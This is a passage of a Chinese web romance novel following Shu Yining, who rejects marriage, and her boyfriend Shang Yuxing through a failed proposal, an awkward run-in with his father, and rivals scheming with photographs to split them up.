他的喉结在柔光中投下一道浅浅的阴影,凸起的弧度很好看,也很诱人。 但是—— “商聿行,我是不婚主义者。” 她说。 第69章 他们没有因为戛然而止的求婚而发生不愉快。 这晚过后,两个人都不动声色地揭过了这件事情,默契地当作它没有发生过。 事后,舒以宁找许夏天、楚思然、王樾这几个人算账。 许夏天眨巴着大眼睛朝她卖萌,解释道:“夏夏是想要给你偷偷打小报告的,真的!夏夏发誓!但是邢南看我看得紧,把我手机都拿走了,我真的没办法了。” 舒以宁将目光从她脸上移开,转而瞪向下一个人,王樾。 王樾上下打量了她一番,硬气道:“凶什么凶!我怎么知道你是不是真的打定主意不结婚还是口嗨?我就不跟你提前通气你能拿我怎么办?有本事你来打我啊,来打死我啊!” 许夏天:“……” 这个小学生。 舒以宁咬牙,抓起手边的酒杯作势就要朝他身上扔。 “好了,是我不让他给你通风报信的。”楚思然拦着她,从她手里把酒杯放下来,笑道:“商聿行为你准备的惊喜,你不走到这个惊喜里,怎么知道是只有惊没有喜还是其他?” 舒以宁不可思议:“你是认为我会答应他?楚楚,你觉得我会答应他的求婚?” 楚思然抿了口鸡尾酒,气定神闲道:“我可没有这么说,我是说,正好你能有这么一个机会,在那样的场景里听一听你自己内心深处的声音。” 王樾插话:“这下反正我是相信你真的不愿意嫁给商聿行了。” “我是不会嫁给任何人,你别乱说。”舒以宁纠正他的话。 王樾挠挠头,嫌她矫情:“这不是一样?” 舒以宁心道,不一样,这完全不一样。 但她懒得去跟一个傻子争论。 ** 舒以宁与商聿行照常地吃饭,约会,睡觉。那晚的求婚成为了他们两个人心照不宣的禁忌,他们回到了让彼此都舒服的关系中。 过了两天,陈印嘉与夫人邀请他们到家里吃饭。 陈印嘉开了一瓶藏酒,“本来还喊了陈洲,但他带学生去大连参会了,下周才能回来。” 陈夫人将清早才运到的波士顿大龙虾端上桌,阿姨拿了几盘炒菜。 蒜香黄油烤龙虾,牛油果龙虾沙拉卷,黑蒜鲍鱼焖鸡,芦笋炒百合,松茸蒸蛋羹,鸡油炒红苋菜等九个菜品,还有一道杏仁酥。 精致又不失烟火气。 陈家两个还在上幼儿园的异卵双胞胎小朋友高举着手臂,一个比一个喊得响亮,都要舒以宁喂饭。 陈夫人轻斥了两句才安静下来。 “我只能一人喂一口啊,你们俩都是大孩子了,得自己吃。Aunt小班就自己吃饭了呢。”舒以宁一边笑,一边先后给哥哥弟弟一人喂了一口蛋羹。 陈印嘉笑着揶揄:“以宁挺有孩子缘啊,你俩这基因,不考虑生一个?” 陈夫人立马道:“说得倒轻松,不是你受苦受累就催是吧?前阵子还想生二胎,我看你是夜里睡得不清醒。” 陈印嘉打哈哈:“哎呀,你不想生二胎我当然还是尊重你的意见,我说话又不算的嘛。” 饭后,陈印嘉与商聿行带着两小孩在花园里搭乐高。舒以宁上二楼参观了陈夫人的收藏,下楼后,陈夫人去泡茶,她在屋檐下遇到了刚上完洗手间出来的陈印嘉。 二人便聊了会儿天。 “阿行对你应当不错吧?他先前没有感情经验,可能少不了一些直男行为,你多调教调教他,能教得好的。” 舒以宁笑着回道:“他确实挺好的。” 陈印嘉笑道:“那就好。对了以宁,阿行和你提起过我们创业时候的事吗?” 舒以宁:“提过几句,但不多。我听说你们当初创业的时候,还有另一位朋友是吗?” 陈印嘉于是和他聊起方朔:“是啊,比特朔行,朔是方朔,行是阿行。当初阿行他父亲想要他继承家业,用了点手段,把方朔逼走了。也不能说逼吧,商砚廷买走了他手上所有的股权,用一个令他无法拒绝的价格。” “其实这事不怪方朔,商砚廷对他说,收购股权只是PLANA;如果行不通,他会启动PLANB,对比特朔行展开围剿,届时一旦公司破产倒闭,方朔将一无所有。”陈印嘉摊了摊手,露出一个无奈的笑容:“所以你看,无论方朔怎么选择,都改变不了阿行的命运。” 舒以宁脑海中浮现出商砚廷不怒自威的脸,叹道:“没想到他父亲竟然这么强势。” “是啊。”陈印嘉叹了口气:“我劝解过阿行,我那时跟阿行说:方朔他和我们不一样,他从贵州一个不知名小镇走到今天,不容易。阿行能理解他,但不能原谅他。” 舒以宁微微颔首:“那他真的挺不容易的。” “其实方朔一直都志不在技术方面,只是,对于他的情况来说,只有学计算机才能有出路。当初比特朔行,我负责管理,方朔和阿行负责技术。他拿到商砚廷那笔钱,财务自由后,就去读了个MBA,也算是圆梦了。” “等等,你说的方朔……英文名不会是叫Robert,近几年都在美国做职业经理人吧?”前面听到这个名字,舒以宁还以为是同名,毕竟这个名字并没有多独特……不会这么巧吧!! 陈印嘉觉得奇怪:“是啊,Robert,怎么了?” 舒以宁生无可恋地闭了闭眼,闭紧了嘴巴。 ……她跟他谈过两周,恋爱。 ** 回去的车程上,舒以宁一直在暗落落偷瞄商聿行的脸色。 等下了车进了电梯,商聿行一手握住她的后颈,“又做什么坏事了,怕被我逮着?” “才没有。”舒以宁凑到他身边,踮脚亲了亲他的下颚骨,轻声问:“你知道我和方朔谈过?” 男人垂眼对上她忐忑的乌眸:“嗯。” 舒以宁赶紧澄清:“我和他什么都没有发生过,真的!我们仅限于牵手,连接吻都没接过!” “我和他几乎不谈心,也不聊过去的事情。他工作挺忙的,我们就吃吃饭,看看剧。百老汇,曼哈顿岛。歌剧舞剧音乐剧,什么剧目都看。” 商聿行淡淡:“嗯。” 舒以宁一个劲全交代了:“唔,分手是因为他打棒球砸伤了脸,没原来好看了。” 商聿行毫不意外的样子:“嗯,我知道。” 舒以宁睨了他一眼,“你怎么什么都知道?” 电梯到了次顶层。 商聿行松开手往电梯外走,“要查点你的事,还不容易么?” 舒以宁跟上去,问道:“那你们两个是老死不相往来了吗?商聿行,你是不会原谅他了,是吗?” 二人并肩坐在玄关处,商聿行换好自己的鞋,侧过身来低头为舒以宁摘下高跟鞋。 舒以宁将脚伸进拖鞋中。 商聿行抬眼,看着她:“我知道以他的情况,他当初只能做出那个选择。我想,他对我有愧疚,也有恨意吧。” 对于方朔而言,明明是豪门父子间的争斗,却要让他一个局外人背上背弃兄弟的道德枷锁。 “但这件事上我没有错,他的境遇不是我造成的,但却是他亲手把我推入深渊,让我不得不臣服在了我父亲脚下。” “所以,他的做法没有错,我不原谅他也没有错。” 舒以宁看着他,问出了那个过界的问题:“那你会原谅我吗?如果有一天,我也有我自己的苦衷。”她永远都不会结婚的,但他,显然不可能做到。即便他能接受不婚,以商砚廷的手段,恐怕也不行。 “背叛我吗?”商聿行没什么笑意地笑了一下,正要说两句情趣意味的狠话,就听她说: “不是,不是背叛。我说的是,我是不婚主义者。会不会有一天,我也像方朔那样,受了你父亲的威胁呢?” 舒以宁不想令他误会,自然得把话摊开了说。 商聿行缓缓道:“我父亲确实是一个控制欲很强的人,在我的年幼与年少时期,他控制着我的母亲。等我成长了,开始有自己的事业了,他又想来控制我。未来,我很难保证他不会再做出什么丧心病狂的行为。” “但是以宁,”他郑重地将她拥入怀中,脖颈微微扬起,“我是个不妥协的人,在你的事情上,我绝不妥协。你要相信我,相信我可以做到。” ** H市的春天总是短暂,暖风一吹,就热了起来。五月下旬,舒以宁过了生日。这次没有举办生日派对,只在生日前两天和朋友们一块儿在R&F聚了聚。从5.23生日当天开始,她与商聿行在大溪地一座叫“SUPPOSITION”的私人岛屿上度过了美妙且破费体力的三天两夜。 回到H市,两人又进入忙碌的工作中。 不久,商聿行迎来了他的三十岁。 是夜,古北公馆水晶灯彻夜闪亮,如星河般倾泻。 觥筹交错间,香槟塔添了一回又一回。 舒以宁被商聿行父母带着交际,谈笑间,算是过了明路。周围簇拥着附和与笑声,一场浮华盛宴。 她在纸醉金迷中望向身侧的商聿行,撞入了男人温柔带笑的眸光中。 接下来两个月,舒以宁更加不得闲。 现代大都会色彩展在西岸美术馆正式开展,展期两周,收到了业内外的广泛好评。并且,成功开启了巡回展览。舒以宁在着力现代大都会色彩展的同时,也开始进入下一个展览项目的策划中。 时虞时常喊她到古北吃饭,也带着她开始出席一些圈子内外的社交场合。 有一日,时虞骤然提起:“前两天和谭晴聊起过你,她说,你母亲与她曾是中学同学。” 然后抚摸着她的手叹道:“我知道你现在还不想结婚,没事,你还小,不急于一时。放心,阿行要是敢强迫你,我饶不了他。” 一切都在有条不紊地往前走着,是一段令舒以宁感到平和而幸福的时光。舒住发展得不错,她与商聿行之间也如胶似漆,朋友们都在身边,没有什么比这样的幸福更令人快乐的了。唯一的不足恐怕就是—— 这么多日子过去了,舒跃章依旧毫无消息。 一晃眼,夏天也过去了,北山街路边的梧桐树逐渐染上了明亮的黄。 舒住。 舒以宁看过财务报表后,突然想起另一件事:“我总结了一下上半年几个小长假和国庆假期中社交平台上的评论,OTA平台差价和大数据杀熟现象并未得到妥善解决。这不利于客户与我们舒住之间维持可信赖关系,你看要不要提一下降价可退方案?” 舒以宁在商聿行身边做了那么久的助理,自然不是跑去白当个草包。她如今很多时候都能够一针见血地指出问题,并提出解决方案上的建议。 宋正阳:“我们目前的直销平台对于客户而言,吸引力不够。下一步首先得推动直销渠道建设,再来谈其他。” “那如果直销平台的房价保证不高于合作平台呢?降价退差,同时升级会员权益。” “利益冲突,OTA平台势必限制推流。” 舒以宁确实没有想到这点,微微颔首,“你说得对,这件事得从长计议。” 宋正阳的助理领了个穿帽衫、戴着工牌的男孩进来,送Q3季度的业绩报告。男孩弯腰收拾了茶几,摆上新的茶水与点心。 他将头发打理得很漂亮,自然蓬松的日式卷发,整体有一种慵懒感与层次感。配着一张年轻精致的脸,简直好看得一塌糊涂。 舒以宁赞叹:“Raymond,这是你新招的助理吗?长得好像日系漫画里的主角。” 宋正阳跟着她一块儿走到休息区,指了指那男孩:“顾总小舅子家的,离经叛道不听话,送来我这里磨磨性子。” 那男孩当即反驳,说话有点冲:“我都快二十岁了,听话听话,你们为什么总要我听话?” 舒以宁觉得挺有趣,忍不住笑吟吟逗他:“顾叔叔家的啊?小孩儿,你叫什么名字?” 男孩对着舒以宁倒是没不客气,一瞬间神情都灿烂了许多。他咧开嘴露出一个少年感满满的笑容,清亮的眼眸微微弯起,露出洁白整齐的牙齿:“漂亮姐姐,你好呀,我叫纪赫松。” 他举起胸前挂着的工牌给她看。 十分帅气的蓝底白衬衫证件照,下面写着“实习生纪赫松”两行字。 纪赫松加了舒以宁的微信,当天晚上就在微信上约她出来喝酒。 舒以宁正靠在商盛总裁办的沙发里等商聿行开完会,看到约喝酒的消息,不由笑了。她回复道:[不行哦,姐姐的男朋友知道会生气的。] 纪赫松:[那你瞒着他不就行了。] 舒以宁被他这副理所当然的口吻有趣到了,但还是拒绝了:[不行,姐姐很喜欢现在的男朋友,不能惹他生气。] 她只把他当成一个稚气未脱的小男孩,也很清楚他叫她出去喝酒并不是对她一见钟情或是怎样,单纯只是因为这个年纪的小男孩爱玩罢了。 商聿行开完会回来,黑眸淡淡睇过来,问:“在笑什么?” 舒以宁按灭手机屏幕,摇摇头,起身扑到他身上去,笑道:“连我笑都要管?我最讨厌别人对我管东管西的了,就算你是商聿行,也不可以。” 商聿行接住她。 他对于她的撒娇想来十分受用,屈指碰了碰她的脸颊,眸色漆黑温柔:“不服管?” 舒以宁仰着头,明眸往上挑衅地看着他:“不服你。” 男人笑了下,低下头凑到她耳边,轻轻吐息:“那一会儿别哭。” 他伸手握住了她纤细颀长的脖子,非常缓慢地摩挲颈部肌肤,像触碰一件珍贵的瓷器。掌心带着薄茧,相触间磨得舒以宁人都站不住。 她晃了下脑袋想要躲开去,怎奈脆弱的脖颈正受制于人。 “商聿行。”舒以宁呢喃。 商聿行另一只手掐住她站不稳的身体,说出口的话轻柔温和:“嗯?怎么了,以宁?”仿佛只是耐心倾听她的无理要求。 舒以宁气息不稳:“回,回去再弄。” 男人轻轻笑了一声,没有半点要松开手的样子。大掌寸步不离地把控着她的脖子,摩挲间如掺了羊绒的羽毛清扫在肌肤:“可是你说的不服,以宁。” 他笑得光风霁月。 他越笑,舒以宁就越难耐。 “商聿行……你别这么变态。” 他笑着亲了亲她的耳廓,大掌没停,“嗯,帮我把领带解下来。” 舒以宁抬眸。 “以宁,帮我把领带解下来。”他压了压嗓音,又重复了一遍。 都是成年人,她深知他的百出的花招。 她明白他的意思。 也愿意配合。 细白的手指缠上他的温莎结,故意往前用力一扯。 商聿行笑了声,喉结滚动带出的轻笑,震得舒以宁心头一颤、耳膜发麻。 舒以宁迅速解开他的领带抽下来。 商聿行给出了下一步指令:“自己绑眼睛上,或者……需要我的代劳?” 舒以宁嗓子发干:“……你好好说话。” 第70章 商聿行扳过她的身体,从后面扼住她的一双皓腕并拢,一只手掌握住。 舒以宁被反剪双手,看不到身后男人此时此刻的神情。 他的领带还在她的手中。 商聿行屈膝,顶了一下她的腿窝。 舒以宁差点跪下去,又羞赧又深感刺激,但办公室着实不是个合适的地方。过于刺激了,哪怕已经过了下班点,她依旧有种时刻会被人推开门撞见的七零八落感。 “你放开我,我听你的,我自己绑眼睛上。”舒以宁做了让步。 男人灼热的呼吸自颈侧贴上来,幽缓低音犹如鬼魅:“这已经是刚才的条件了。” 舒以宁双颊一烫,越发觉得燥热,“你都从哪里学来的这些乱七八糟的东西。” 商聿行咬着她耳朵,一点点碾压而过,“收拾你,总得多学点。” 舒以宁:“……” 商聿行押着她往桌角走,“放心,人已经让江路南都清走了。我们有的是时间,一路玩回去。” “不行!”舒以宁回绝得很坚决,“回去你想怎么玩都行,在这里不行!” 这太太太荒淫了! 怎么可以! 绝对不行,绝对不行。 她挣扎了两下,商聿行也就没再强迫她。 商聿行松开她的手腕,重新要求她自己将领带绑上眼睛。 这回,舒以宁没再犹豫,用领带蒙住自己的眼睛。在脑后打了个结,蒙得严严实实。 “回去吧,我绝对不反抗。” “还是反抗罢,以宁。”商聿行拦腰抱起她,在她猝不及防的惊呼声中幽幽道:“助兴。” 商聿行抱着舒以宁走出总裁办,进了专用电梯。 电梯自动跳亮B2地下车库,往下运行。 舒以宁手臂勾着他的脖子,叭叭叭叮嘱:“商聿行,待会儿在车上你不能乱来,不然我就生气了。我生气,你就别想玩下去了,我就再也不来商盛找你了。” “刚才不还保证说随我玩?” “我是说回去后!” 商聿行的手机振动了起来,虽然没有铃声,但嗡嗡嗡的振动声音在密闭空间中也足够引人注意。 “手机,你手机响了。”舒以宁看不见,但听见了振动声。 男人风轻云淡:“不急。” “叮——”一声,电梯没有直达B2,而是在一楼停下了。 商聿行看了眼轿厢屏幕上显示的“1”,黑眸看向电梯门。 电梯门朝两边徐徐拉开,露出商砚廷不怒自威的脸。 站在商砚廷左侧陪着的江路南:“……” 他手里还举着正不停打商聿行电话的手机。 商砚廷微微垂下鹰隼般的黑眸,目光落在被商聿行打横抱着的舒以宁身上。视线从她的脊背移动到她紧缚于眼部的领带上。 没有说话。 商砚廷右侧站着董秘,在他们三个身后还跟着几个高层。 商聿行沉默了。 一时间,谁都没有先开口。 舒以宁听见电梯开门的提示音,一开始还以为是已经到B2了。然而,她迟迟没有感觉到商聿行有走出去的动静。 于是,她开口问他,语气骄纵蛮横:“狗东西,又怎么了?” 江路南:“……” 默默把举着手机打电话的手放下来。 依旧没有人说话。 站在商砚廷身后的肖岳终于看不下去了,单手握拳,抵至唇边咳嗽了一声。 舒以宁听到显然不出自商聿行的咳嗽声,顿时炸了,赶紧扯开眼睛上的领带。 一下子灯光有点刺眼,她适应了几秒钟才朝外面望出去—— “!!!” 商砚廷西装革履,气定神闲,朝着她微笑。 不止商砚廷,还有一个、两个、三个、四个…… 这,这怎么乌压压一群人! “伯,伯父。”舒以宁扯了扯唇角,露出一个尴尬得无以复加的笑容。与此同时,她朝商聿行肩膀狂拍了几下,示意他赶紧放她下来。 商砚廷态度温和,宽宏地原谅了小辈的失礼:“以宁,你好。” 商聿行将舒以宁放下。 “伯父,您请进。”舒以宁往旁边侧了侧,低下头脸颊发烫,羞耻得很不得立马找个洞钻下去。 ** 商砚廷是带着人来突击视察工作,并针对离岸公司的跨国商业布局做出重要指示,避免直接影响到母公司商盛的财务状况。 一个半小时的越洋会议,从九点半到十一点。 会议结束后,商砚廷对商聿行说:“有空多带以宁回来,你母亲天天念叨。” 商聿行颔首答应下来。 送走了商砚廷,舒以宁已经失了兴致,不肯随他继续电梯里未完成的风情了。商聿行觉得可惜,“刚才,我们应当先在办公室内里隔间做一次。” 舒以宁无语了:“然后等你父亲推门进来现场捉奸是吧?” 商聿行不认同她的说法:“以宁,我们的关系用不上这个词。不过,你要是想玩这个场景,我也可以配合你。” 舒以宁:“采访一下,商总,请问你是怎么用这么正经的表情说出这么禽兽的话来的?” 商聿行真实地感到疑惑:“这就禽兽了?” 周六晚上,二人回古北陪商聿行父母吃了晚饭,没有留宿。 新的一周,商聿行忙于与手下团队处理被商砚廷指出的离岸公司账户问题,舒以宁也并不空闲。最近舒住有两个大项目,宋正阳总喊她回去参会。 她又在舒住遇到了纪赫松几次,挨不过这小孩的软磨硬泡,拉上宋正阳,三个人一块儿喝了一场酒。 纪赫松喝醉了,一边哭一边笑,弄得舒以宁觉得这小孩还挺可爱。 舒以宁拍了拍他脑袋安抚,转过头对宋正阳笑说:“他酒品不怎么样啊。” 宋正阳似乎不太看得上他,漫不经心评价道:“有烦心事吧,年轻人都这样,遇到一点小事就承受不住。” “他有什么烦心事?不想被父母管?” “可能吧。” 宋正阳送纪赫松回家,时间还早,舒以宁在小群里问了一声。 王樾立马跳出来:[我和楚楚在R&F喝酒呢,你来吗?] 王樾:[你跟邢南哪儿去了,半天没个人影@小夏夏] 王樾:[不会是在滚床单吧?[害羞][害羞][害羞]] 舒以宁发了一句:[等着,我这就过来。] ** 江路南将调查到的资料放到办公桌上,多观察了两眼商聿行的脸色,“总裁,我先出去了。” “嗯。”商聿行不动声色。 等江路南走了,他才拿起桌上的文件夹,随意翻了翻。 电影艺术职业学院的学生,今年才十九岁。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 商聿行没有细看,合上文件,砰一声摔回了办公桌上。 手机屏幕亮着,消息来自七分钟前的舒以宁—— BB:[我们今晚去兜风好不好?想坐你后座了,骑去山上吧?] 商聿行没有回。 半小时后,江路南敲门进来提醒他十分钟后的会议。 商聿行略一颔首表示知道了。 他阖目休憩,脑袋往后靠着椅背。 江路南没有立马走出去,看着阖眸的商聿行,欲言又止。 过了两分钟,商聿行冷冷睁开眼:“你还在这做什么?” 江路南这才郑重开口:“总裁,舒小姐只是和他喝了两回酒,并无亲密举动。”除了一张摸头的照片,要说亲密其实也并不算亲密。 商聿行双手交叉,神情一片淡漠,薄唇轻启:“你倒是会站在她角度说话了。” 江路南:“总裁……” 商聿行打断他:“别忘了你是谁的助理。” 江路南眼神一黯,低下头:“抱歉总裁,是我逾矩了。” ** 一听见商聿行回来的关门声,舒以宁就从客厅跑出来,伸手帮他脱外套:“你怎么都不回我微信?” “连着开会,忙忘了。”商聿行神色淡淡。 舒以宁控诉他:“你这都是借口,我看你就是在一起久了,就对我越来越不上心了。” 商聿行换好鞋,搂着她的肩膀往屋里走,“那你得拴住我,不然指不定哪天,我就跑了。” 舒以宁沉默了一会儿。 她听出了他的言外之意,不知道自己是不是多想了。 等走到餐厅,舒以宁已经将脑海中的困扰一扫而空,取了两个岩石杯坐下,等他从酒柜中拿酒过来。 “商聿行,我们明天晚上去山上兜风吧?”她再度提议道。 商聿行没抬头,将衬衣袖子卷上去一截,手里凿着冰球,“好。” 十月的H市舒坦得静谧又美好。梧桐树枝头金黄,竹海青黄交杂着翻涌,天气不冷不热,气候宜人。风中弥漫着桂花香气,好似给整座城市都披上了一层甜香。 入夜后,山间路灯次第亮起,像散落人间的星尘。 商聿行开得很快,舒以宁坐在后面紧紧抱住他的腰身,喊出一声又一声纵情恣意的笑声。 春夏秋冬,拼凑出他们一个又一个熠熠生光的相爱片段。 上到山顶,他们在秋夜里接吻,吻得动情而深入,仿佛天地之间万般颜色褪尽,只剩彼此唇间的鲜红。 在这个秋天里。 ** “纪赫松呢?他上午不是没课吗?”宋正阳将新版企划书递给舒以宁,问进来送茶水的助理。 舒以宁知道端茶送水这些活近期都是纪赫松在干,宋正阳说是要按他父母的意思磨磨他性子。 助理答:“没见着人,今天一来上班情绪就不对。” 舒以宁随口问起:“他在哪个学校上学,大二是吗?” 宋正阳说:“理工的中外联培。” 舒以宁微微颔首。 理工的中外联合培养,那高考成绩就是不怎么样了。但又没有直接送出国,看来,他父母还是挺舍不得他出去的。可能,怕他一个人在外头学坏。 舒以宁在宋正阳办公室聊了半小时,走出舒住,不期然看到小卷毛坐在全家便利店前头的花坛上眯眼晒太阳。 “嘿,纪赫松。”舒以宁走过去,“你翘班了,我要举报你。” 纪赫松睁开眼,看见她,往旁边挪了挪,给她让出一个干净的位置。 “你坐我这儿,我刚刚坐过了,不脏。” 舒以宁于是坐上去,问他:“你在发什么呆呢?遇到事儿了?” “也没什么。”纪赫松双手往后撑住身体,佯装毫不在意道:“我爸找了个小三,被我撞见了。没什么,又不是什么大事。” 舒以宁把目光挪到他的侧脸上,“这还不是什么大事?我要是你,我得回去拍我爸桌子才行,我……” 她的话陡然止住了。 拍舒跃章桌子? 说起来容易,轮到自己遇上的时候,她甚至都不敢让她父亲知道她已经知道了他出轨的事情。 好在纪赫松丝毫没有觉察她的反常,自顾自神伤:“其实我不是叛逆,不是非要跟着他们作对。我只是……想要他们能够关心我。” 他微微仰头,望着蓝天中的朵朵白云,眼神流露出几分伤感来: “姐姐,你说这个世界上真的有真爱存在吗?” “我爸表现得好爱我妈妈啊,可是他还是出轨了,连私生子都有了。” “姐姐,你有爱过一个人吗?可不可以告诉我,爱上一个人是什么样的呢?真的可以为了爱情不顾一切吗?会不会爱情本身就只是一种谎言呢?” 舒以宁心中一颤。 她有爱上过谁吗? 她又开始思考这个问题。 她喜欢过很多人,但她似乎没有爱过他们。喜欢的程度没到达爱,这点是可以肯定的。那么,商聿行呢?她究竟爱不爱商聿行呢? 会不会就像纪赫松说的,爱情本身就只是一种谎言呢? 它会不会是世人在漫长的生命中为了相互绑定,而制定的苛刻规则? 舒以宁想到了《花束般的恋爱》。 恋爱本身就是像花束般美丽,又像花束般短暂。激情冷却后,就只剩勉强维持的痛苦。[1] 她和商聿行的这捧花束,总有一天,也会枯萎。永恒是个伪命题,只能用来欺骗不懂事的小孩。 爱情里,没有什么会是永恒不变的。 ** 周嘉皓用长焦镜头拍下舒以宁望着纪赫松的画面。 咔擦咔擦,连拍二十余张。 他低头按着按钮翻看,勾了勾唇角。 这样的照片,最近几天他的相机里已经拍了不知道多少张了,挑挑拣拣,总能找出适合发给商聿行看的。 半个月前。 周嘉皓按照短信上的地点,电梯上到17层,敲响1703包厢的门。 他屈指叩门五下,出声说:“是我,可以开门了。” 包厢门从里边打开,没有开到完全,只开出一道供单个人进出的缝隙。 这么神秘? 周嘉皓心中的疑惑又加深了点。 他抬起手,本想将门推大一些,但想了想,还是直接就这么侧身走了进去。 接着,不由蹙眉:“怎么会是你?” 包厢内的男人比了个手势,示意他先把门关上。 周嘉皓关紧门,顺便还把保险锁也拧上了。这一回的工夫,对方已经走到沙发区坐了下来。 “坐吧,给你泡了茶。”他气定神闲。 周嘉皓走过去,上下打量了他一番,问出心里头的惊讶和疑惑:“你不是和舒以宁是一伙的吗?为什么要来找我?” 宋正阳抿了一口清茶,抬眸看着他:“我要的东西?” 周嘉皓干脆摊开手,耸了耸肩膀,笑道:“我没带。” 宋正阳收回目光,看着紫砂茶壶,又说了一遍:“坐吧,给你泡了茶。” 周嘉皓走到他对面,没坐下,居高临下审视着他。怎么都想不通他为什么会找自己来要舒以宁的照片以及他们在一起时候她动心都是在哪些场景下的分析。 “你想干什么?短信上你说需要这些资料来引诱舒以宁分手?呵,怎么引诱?” “我会挑选准备一个合适的人,来引诱以宁。我需要足够的资料进行分析,展开计划。” “你为什么要这么做?”周嘉皓顿时有了一个顺理成章的猜测:“你喜欢舒以宁?” 宋正阳放下茶盏,淡淡道:“这个问题我不想回答。” 周嘉皓坐进沙发里,一条腿直愣愣抬起靠在茶几上,歪着身子一副玩世不恭的混不吝模样。他轻蔑地“啧”了一声,说:“就这你还想让我帮你?” 宋正阳轻而易举就说服了他:“我想,你也不想商聿行成为那个例外吧?” 没有人可以让舒以宁收心,商聿行尤其不该成为这个例外。 三分钟的沉默之后,周嘉皓开口:“我这边有一些资料,比你想象得多,你不用再去找别人了。我会做好分析,发一份详尽的报告给你。原始资料我也提供给你。” 宋正阳提出:“线上报告不行,我不希望留下痕迹。” 周嘉皓:“三天后,还是这里见。” 三天后,他们达成了同盟。毕竟有些事,还是得由他周嘉皓来做才更妥当,也更能给予商聿行重击—— 作者有话说:[1]引用自电影相关影评 —————— 周嘉皓:没想到吧,我又来了[摊手] 第72章 晚上,商聿行将舒以宁揽入怀中正要亲热,舒以宁侧开脸避开了他的吻。 “白天太累了,今天就不做了吧。”她今天去了舒住看企划案,去了西岸修改接下来的展览项目书,空闲的时候还要牵扯出被纪赫松引发出来的难过。 自然就疲于应对商聿行的充沛精力。 也没有这个兴致。 商聿行低眸凝望了她一会儿,轻轻“嗯”了一声,没勉强。 一夜相安无事。 过了一天,初中班长组了个局,给上个月退休的初中班主任举办退休仪式。舒以宁、许夏天都参加了,连阮明芜都特地从深圳赶了过来。楚思然这两天恰好不在H市,王樾则不是他们班的,也就没来参加。 温琪冉也来了,还带上了她的未婚夫周嘉皓。 舒以宁刻意避开他俩,好在,一场子下来,他们这对准夫妇倒是没往她眼前来晃悠。 只是,临散场时,包厢内的洗手间被人占用,舒以宁与许夏天不得不出去上了个洗手间。回来路上,竟不期然遇到了个老熟人。 肖寂从另一间包厢走出来,拦住了她的去路:“以宁。” 舒以宁微微一怔。 许夏天也被他的出现意外到了,一下子愣住了,脱口而出:“肖寂?你怎么在这儿?” 肖寂朝她点点头:“你好,许小姐。” 他重新看向舒以宁,“以宁,我想和你聊两句,方便吗?” 舒以宁还没开口,许夏天就抢先道:“当然不方便。你现在可是大明星,要是害以宁再上一次热搜,我跟你说,你就完蛋了!” 商聿行绝对会把你砍成一块儿一块儿的。 肖寂只是看着舒以宁,没有退让的意思。 舒以宁看了看无人的廊道,然后看着他的眼睛:“有什么话就在这说吧。” 她不可能跟他进包厢。 肖寂望着她,缓缓开口:“哪天你恢复单身,可以给我一个机会吗?你总不会和他在一起一辈子。” 舒以宁不想和他多聊,说:“未来的事,谁都说不准。” 反正短时间内,她正上头呢,怎么可能和商聿行分开。 尽管,她正为着这事困扰着。但她又不是不喜欢商聿行了,未来与一辈子,她不想在这会儿就立马轻易否认掉。 “我们先走了。”舒以宁说完,就匆匆回到了包厢。 她们一回来,班主任就点名喊许夏天陪她喝一杯,许夏天捧着果汁笑盈盈过去了。 舒以宁坐在沙发里听班里以前的体委唱K,音准很差,她几次忍俊不禁。 周嘉皓坐了过来。 舒以宁睨了他一眼,很明显地往外坐了点,尽量远离他。 周嘉皓笑了一下,朝她抬了酒杯,“不是喜欢肖寂吗?我给你弄来了,不感谢我?” ** 信封里是这些日子以来的照片,舒以宁与纪赫松。 最上面那张,舒以宁望着纪赫松失神,照片上纪赫松灿烂的笑容刺痛了他的眼。 周嘉皓仿佛突然又想起什么似的,添油加醋地说:“对了,昨天她和肖寂私下见面了,他们还约定了等她单身了就重新开始。她没有告诉你吧?” 商聿行不为所动。 周嘉皓看着他,言笑晏晏:“商总海量啊,一个又一个的,这都能不在乎?” 商聿行掀起眼皮,很轻蔑地瞥了他一眼,冷冷勾唇:“如果你嫌生活过于无聊,我可以让你尝一下破产的滋味。” 周嘉皓摊了摊手,叹道:“商总正人君子,感情问题归感情,何必对我这个小虾米下手。” 商聿行微微抬高下颚,睨着他,心有几分不解:“我很好奇,你究竟想要什么?以宁不可能和你复合。” 周嘉皓缄默下来,脸上的笑容也慢慢灰败下去。 商聿行蓦地眯了眯眼。 他可以坦然面对周嘉皓意味不明的挑衅,但对于周嘉皓这个突然半死不活的表情,竟莫名有两分的感同身受。 周嘉皓没关注商聿行的神色变化。 过了一会儿,他望着落地窗外的江面,一句一顿,口齿清晰:“没有人可以真正拥有舒以宁,你又凭什么认为你可以成为特例?” “凭我是商聿行。” 周嘉皓冷笑一声,仿佛听见了什么笑话似的,讥诮道:“凭你是商聿行?” 商聿行用坚定的口吻重复了一遍:“凭我是商聿行。” “还有,”他停顿了一下,对上周嘉皓望过来的目光,接着说,“我拥有舒以宁,舒以宁也完完全全地拥有我,掌握我,支配我。只要她愿意。” 周嘉皓笑了。 商聿行一瞬不瞬地看着他,黑眸沉沉,是一种充满压迫性的目光。 但周嘉皓已经抓住了他言语中的漏洞,满目笑意,不避不让:“那她要是不愿意呢?” ** 舒以宁又一次在舒住遇到了端来茶水的纪赫松。 宋正阳上洗手间去了,纪赫松坐着陪她聊天,聊起她的男朋友:“我听公司里的人说,姐姐你的男朋友是商盛的商聿行是吗?我知道他很厉害,我爸妈经常在饭桌上聊他。” 舒以宁本想刻意与纪赫松保持一点距离,听见他这么说,又放下了心来:“啊,对。”看来是她多想了,也是,差着这么多岁呢,纪赫松怎么可能对她有意思。 倒是她庸人自扰了。 下一秒,纪赫松眨巴着好奇的眼睛,天真地问她:“那你是不是很爱商聿行?” 舒以宁心一揪,脸上没有表露出来,笑道:“为什么这么问?” 纪赫松又露出了他小狗般可怜的眼神:“我只是想知道,这个世界上还有没有真正的爱情了。我爸妈之间没有爱情,但只要这个世界上还有人拥有爱情,我就愿意相信爱情。” 舒以宁不知道该如何回答。 纪赫松又问:“姐姐,你有爱过一个人吗?不管是不是商聿行。” 舒以宁没有回答他的问题,好在他也没有追问。 这天深夜,寂静的卧室中,舒以宁失神望着明亮的天花板,脑海中无法避免地又想起了纪赫松问她的那个问题。 你有爱过一个人吗? 那么,她究竟爱商聿行吗? 爱是什么呢? 是嘴唇与嘴唇、肌肤与肌肤的触碰吗? 还是此时此刻清晰分明的撞击呢? 舒以宁不知道。 